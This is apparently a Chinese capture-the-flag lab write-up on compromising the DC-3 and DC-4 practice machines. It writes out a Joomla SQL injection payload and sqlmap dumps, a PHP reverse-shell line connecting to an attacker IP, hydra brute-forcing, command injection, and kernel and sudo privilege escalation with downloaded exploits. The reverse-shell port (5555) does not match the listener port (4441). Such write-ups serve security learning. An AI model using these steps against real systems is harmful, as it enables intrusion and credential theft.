DC3-4靶机复现
DC3-4靶机复现
DC-3
基础信息搜集
老样子,上来还是基础流程,根据我们找到的mac地址,确定靶机地址

使用nmap查看目标靶机的详细端口开放
1 | nmap -A -p- 192.168.10.138 |

可以看到只开放了80端口提供http页面,同时使用的是apache服务器,版本为2.4.18
访问一下页面

搜集到如下信息
1 | Joomla cms管理系统 |
页面上还有这么一句话:
1 | Welcome to DC-3. |
漏洞探测
既然有cms,我们首先使用metasploit对于cms进行扫描
1 | msfconsole |

发现有很多攻击模块,试试,发现没有一个成功的,这很恼火,那么我们使用dirb扫一下目录:
1 | dirb 192.168.10.138 |

挨着访问,我们发现了一个后台登录界面
http://192.168.10.138/administrator/index.php

到这里不知道该怎么办,知道是cms
但是我们这时候就有反骨了,突然想起来之前安装的advs这个漏洞扫描器还没用过,那就试试,设置好后,开始扫描

哇塞,全是漏洞(好富裕,一时间不知道该利用哪个),我们先从第一个开始看(点进去之后有漏洞描述)

明显是一个sql注入漏洞,原理是没有对用户提供的数据进行充分处理
漏洞利用
根据advs提供的漏洞讲解文章还有网上搜到的,我们得到如下payload
1 | ?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1) |

经检验,漏洞确实存在,那接下来就到我们的懒狗快乐时间(使用sqlmap)
爆库名
1 | sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs |

爆出来5个库,既然是joomla的cms,那我们就先看joomladb这个表
1 | sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables |

爆出来76个表,既然我们想要弄到后台的信息,那我们就先看看users这个表,查列名
1 | sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns |

得到了6个字段的东西,下一步肯定首先就是查id和password的东西了
1 | sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump |

这密码一看就是加密过的,看起来很像md5解密,我们解密一手,但是这个使用md5在线工具解密失败了,所以我们上网搜了一下,尝试使用kali自带的john进行解密
1 | vim 1.txt |

得到密码,进行登录

好,到这里已经是极限了,下面我是真不会了,只有乱测,乱点一通,但是没发现啥有用的,撑不下去了,还是乖乖的看wp吧
反弹shell
发现Extensions->Templates里面的模板可以修改执行PHP脚本


那我们接下来就随便找一个路径书写我们想要的php程序

往里面书写我们想要进行反弹shell的代码(一定要注意缩进):
1 | $sock = fsockopen("192.168.79.128", "5555"); |

点击save保存之后进行访问http://192.168.10.138/offline.php
在kali内对4441端口进行监听:
1 | nc -lvvp 4441 |

可以看到已经接收到shell
提权
拿到shell之后,进行了一些基础操作,包括通过python更改交互式shell,但显示权限不够,然后使用suid提权,发现也不行,这里就尝试进行系统漏洞提权
查看发行版的详细信息
1 | cat /etc/*release #查看发行版信息 |

可以看到是ubuntu的16.04的版本
1 | cat /proc/version #查看内核版本的全部信息 |

可以看到内核版本详细信息为4.4.0
使用kali自带的漏洞库来进行系统漏洞的查找
1 | searchsploit ubuntu 16.04 |

把内核对应版本的都试一下,可以发现39772.txt能用
查看exp:
1 | cat /usr/share/exploitdb/exploits/linux/local/39772.txt |

下载地址就在下面,把压缩包下载到本地
1 | wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip |

1 | 开启apache服务 |

既然已经移到了web服务下面,那么我们访问虚拟机地址,如果是第一次使用记得删除/var/www/html下的index.html文件

既然已经出现在web目录下,那我们就在目标靶机的shell里下载攻击机上的exp
1 | wget http://192.168.10.129/39772.zip |

解压exp
1 | unzip 39772.zip #解压39772.zip |

进入 ebpf_mapfd_doubleput_exploit 运行exp
1 | cd ebpf_mapfd_doubleput_exploit |

至于运行方法之前那个cat /usr/share/exploitdb/exploits/linux/local/39772.txt写了的

运行compile.sh , doubleput即可
1 | ./compile.sh |

可以看到提权成功,下一步就是进入root,直接得到flag就行

DC-4
基础信息搜集
老规矩,第一步:确定靶机IP和判断端口所开放的服务
1 | nmap 192.168.10.0/24 |

1 | nmap -A- -p 192.168.10.137 |

1 | 22 开放ssh服务 |
使用dirb进行目录爆破:
1 | dirb http://192.168.10.137/ |

发现只有文件都被重定向到index.php,看样子不得不登陆了。

hydra爆破登录
这里直接访问:192.168.10.137:80,看到上述界面,还是使用插件看看框架,发现只有nginx,我们试着搜一搜nginx1.15.10是否存在什么漏洞
使用Metasploit进行探测和访问发现对于这个框架来讲并没有什么可以利用的,所有的对于这个框架的漏洞都不适用于这个nginx的版本,那么就尝试进行暴力破解
我们使用hydra配合kali自带的字典进行破解
1 | hydra -l admin -P /usr/share/wordlists/metasploit/password.lst -t 8 192.168.10.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F |

可以看到爆破成功,密码为happy
命令查询

我们点击Command,跳转到下一个页面

随便选一个,我们点击run进行抓包

很明显,我们可以知道radio参数就是执行命令的所传参数,那我们利用这个来执行命令
既然有ssh服务,那我们就尝试看看能不能找到ssh登录的用户和密码,我们知道在kali下,用户目录一般在/home下,所以我们进行查询

发现了三个用户
1 | charles |
一一访问一下,charles和sam用户下面只有return to menu,但是在jim目录下发现了一些东西

还是挨着访问一下
还是只有backups下面有内容,cat看一下,发现是存储旧密码的一个文件

hydra爆破ssh密码
这下好了那我们就生成字典进行爆破登录ssh服务,因为这个是jim用户下的,所以我们用户名直接指定为jim就行
1 | hydra -l jim -P passwd.txt 192.168.10.137 ssh -v |

爆破成功我们进行连接
1 | ssh jim@192.168.10.137 -p 22 |

到这里简单的进一些重要文件看了看不知道该怎么办了,只有去看看wp,发现重点在/var/mail这个邮件目录下
我们进行查看

我们可以看到邮件里又给出了一个针对于charles的密码,而我们之前使用burpsuite来找ssh服务用户时发现了三个用户,其中就有charles,我们来进行连接
1 | ssh charles@192.168.10.137 -p 22 |

成功连接
teethe提权
登录进来之后首先想到的是进行查看suid提权的情况:
1 | find / -user root -perm -4000 -print 2>/dev/null |

发现sudo是具有suid权限的,那我们使用sudo -l来看看哪些是具有sudo权限的:
1 | sudo -l |

可以看到teehee是不需要密码就可以使用的,那我们就去网上搜搜teehee命令是否存在提权
1 | teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权 |

可以看到成功以root身份进入shell
1 | cd / |

成功拿到了flag。